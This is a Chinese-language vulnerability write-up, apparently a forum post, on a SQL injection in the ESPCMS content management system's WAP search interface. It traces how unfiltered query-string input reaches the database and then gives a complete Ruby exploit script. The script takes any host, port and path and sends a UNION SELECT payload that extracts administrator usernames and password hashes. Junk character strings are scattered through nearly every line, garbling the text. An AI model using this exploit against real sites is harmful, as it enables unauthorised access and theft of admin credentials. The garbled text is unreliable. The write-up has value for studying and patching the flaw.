0×0 漏洞概述0×1 漏洞细节
. P5 e" z5 u" {9 ~0×2 PoC
3 P+ t$ f4 }) D3 \" i8 ?
. m8 _6 u$ X( M8 `/ \3 q. P/ h3 E$ B+ d+ S6 }
3 h9 W+ ]" g, g& \6 _ h0×0 漏洞概述
& F3 {! e+ l; ~" R' D7 Q* p7 ?1 Q. z( g. m( ]
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。1 N* s R* u4 y$ l, Y! j
其在处理传入的参数时考虑不严谨导致SQL注入发生
. |8 m6 X6 c+ K2 i' W3 J2 b0 f5 U; f+ ]# P% e( _& y0 h
% \' m- ?5 \/ J. [0 U
0×1 漏洞细节( M5 O2 h3 c. {0 u
& j9 ]3 l, X B& H* c
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。/ R4 C, V$ E% }" Z5 K# o7 d
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。" [8 y: n2 O8 c1 Y. X
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。5 k$ J& P) p" W$ o( I4 g0 g
- X; Y$ }# c: y; \在/interface/3gwap_search.php文件的in_result函数中:6 n- {, ~- G4 K' d. l& H; T
/ T1 _& {9 _, O3 h) }% o* X& [, ~/ A, k
# F1 Z1 m( G. n. j8 s9 j) z" W; y
function in_result() {2 P4 A/ t, p4 L8 p
... ... ... ... ... ... ... ... ...! O5 @# B1 Q, ?3 v$ h# m9 q
$urlcode = $_SERVER[ 'QUERY_STRING '];6 t3 D: H y& N
parse_str(html_entity_decode($urlcode), $output);( f, W7 x3 L( w4 Y. q$ z
/ `, a0 j- P9 E. i3 R h$ R6 J ... ... ... ... ... ... ... ... .... c9 X& J [) }
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
, q3 B* z) v, A1 F* m K0 A( @0 x' i0 d( O4 I3 c9 O f
$db_table = db_prefix . 'model_att';
3 C+ x+ B! S' c# \6 r5 Y8 m8 }( O. Q2 Q! m
foreach ($output['attr' ] as $key => $value) {
9 O) g6 B" e4 ] e5 c# R if ($value) {
! i5 `6 B5 h$ ?4 b; m
6 H* B/ K( K" [/ L8 ^- K( Z $key = addslashes($key);: I% c8 R; d8 ^3 V% G+ z) ]
$key = $this-> fun->inputcodetrim($key);
) i3 V6 l) i( S3 j $db_att_where = " WHERE isclass=1 AND attrname='$key'";
, l# M4 |1 M! f o0 @" h; \ $countnum = $this->db_numrows($db_table, $db_att_where);
1 S/ Z; q$ Y3 q( {& t6 C) e% v if ($countnum > 0) {' l9 f" l5 y! O: r2 [# y
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
0 I; t0 B! J! I. V. `& n) o }
/ u. X9 z K1 t' K }
: y, C5 j) D3 Q% c) {+ P- @ }6 Z- b- d, ^6 w2 V& b- t& o0 ~
}# {4 X; }0 C' Z9 X: F; I
if (!empty ($keyword) && empty($keyname)) {0 O5 i: [) ?9 u/ R. y8 H
$keyname = 'title';+ T& H1 r. W- v' \( k v7 y
$db_where.= " AND a.title like '%$keyword%'" ;
" Q; ^- u7 N `+ G7 J } elseif (!empty ($keyword) && !empty($keyname)) {
& F. F5 \$ |; T% ] $db_where.= " AND $keyname like '% $keyword%'";
; `) J* d0 m$ n# h6 k0 f }
% A$ l, W( j: ^$ {. r4 f- a $pagemax = 15;
; o! ^( D# @- c0 C" q6 r
, \9 u! y- Y" _0 V l( e1 {: `# m1 Y $pagesylte = 1;3 `: W* P; T2 D" `: I. C- t
/ J0 @" j3 a7 D9 ~& `7 a0 W3 N4 k
if ($countnum > 0) {5 e2 d8 }% M* t2 H; |0 |$ h
0 Y/ _" r" o4 r; s6 ]7 S; q
$numpage = ceil($countnum / $pagemax);
7 j+ E7 _ K2 ]- ]& T. V, P0 F ? } else {
# O, y. R2 b) x. w3 N( v $numpage = 1; D) E R$ }; J( x2 D5 w
}9 [- P5 I' H( ~. l" a5 ]
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
( E6 }! Q* T# I. N+ @ $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
1 l5 p4 s5 s; h6 X$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
# K" n& y% P& s) G3 Z ... ... ... ... ... ... ... ... ...
/ {& Z7 d2 _1 V: f/ \; P }
' z4 V; F& v T. U; p+ a ^3 g5 J- j. r6 A0 N, q
+ u, x7 J, [# P+ ^) L
0×2 PoC
1 t. {% {* p7 g8 e8 p! ~1 \5 E: U" r6 U- z7 x6 G
) X2 E v& c# I4 X* w5 _1 P
9 b# E7 b7 S" E( A% f7 ~
require "net/http"
: f6 r; ~! r- K, H0 L l% W# u3 f& \, p8 x5 c
def request(method, url)! I8 \# z" v* I* U6 X6 x m: n
if method.eql?("get")
# @0 [8 z, |: u) i1 _ uri = URI.parse(url)
4 n% G, R8 ?- t5 r1 r7 Y( J8 | http = Net::HTTP.new(uri.host, uri.port)% P/ t) s3 j+ V8 I- B' L
response = http.request(Net::HTTP::Get.new(uri.request_uri))
5 J+ `4 z0 ?" o return response
- r, V+ D2 t2 v& P* |' l- c K, i end4 X. i, ]2 Z3 u- w- w
end) z; n+ W9 q, g2 z
( t4 r7 z7 {2 C/ H6 q6 Qdoc =<<HERE
3 |- m) x1 v9 s* M/ N! `-------------------------------------------------------* F2 V' A/ _4 A
Espcms Injection Exploit
& y- x# O" v% |2 H# a! VAuthor:ztz) n& u2 b6 h5 u' k! ~1 Z8 m
Blog:http://ztz.fuzzexp.org/$ S5 j, }" x' B+ B' J8 b
-------------------------------------------------------
9 a, W) F* F6 p2 \2 ~ ?7 z* \ w
2 {% w; ~! w4 N( Q/ b4 V2 YHERE3 _9 i# e1 C- y& H( m5 q+ E
; l, M2 c0 r) F' I# H8 F9 iusage =<<HERE
7 k! D- F# P7 ZUsage: ruby #{$0} host port path, L& ^7 F5 Q0 h, m/ Y, g6 @
example: ruby #{$0} www.target.com 80 /2 _' E6 d9 d# O1 s( k, B' _7 ?5 y
HERE* e& Z5 B* Y" u/ H6 \, P$ z
/ v" L3 I- ~/ _& Y7 uputs doc0 e( P0 p) J( ~% m! N2 P( g; u, M
if ARGV.length < 32 O% r( E# M6 u; q* @- }( n
puts usage( W1 D, k6 {1 E7 j, V) O) W3 o
else6 F5 w# @6 F ?0 R
$host = ARGV[0]: U* ~: T6 I" e5 P2 j! B
$port = ARGV[1]2 h- f3 U' b1 @3 r$ ]
$path = ARGV[2]
# c5 L6 W' `5 p7 i9 \7 W5 z% Q; z9 j0 h: @5 I# f
puts "send request..."
; J' ?* R4 k1 h9 ^) A9 z url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
# N; o4 O# J, P% Wattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
[1 C% V0 O1 D9 o% v,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
6 b- F2 ~9 L+ ?9 j,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"4 H" n: S* I/ Z% t6 W. s$ W$ `, N
response = request("get", url)
; b) E7 u) P. w! a result = response.body.scan(/\w+&\w{32}/)
3 O; ^- Y; Y% n j4 y; m: J1 j puts result/ ]0 G ]" y$ t/ n% R
end7 t& F6 w0 z4 t! g7 O$ G- u9 D( j
; H; n t' F) |% i. c |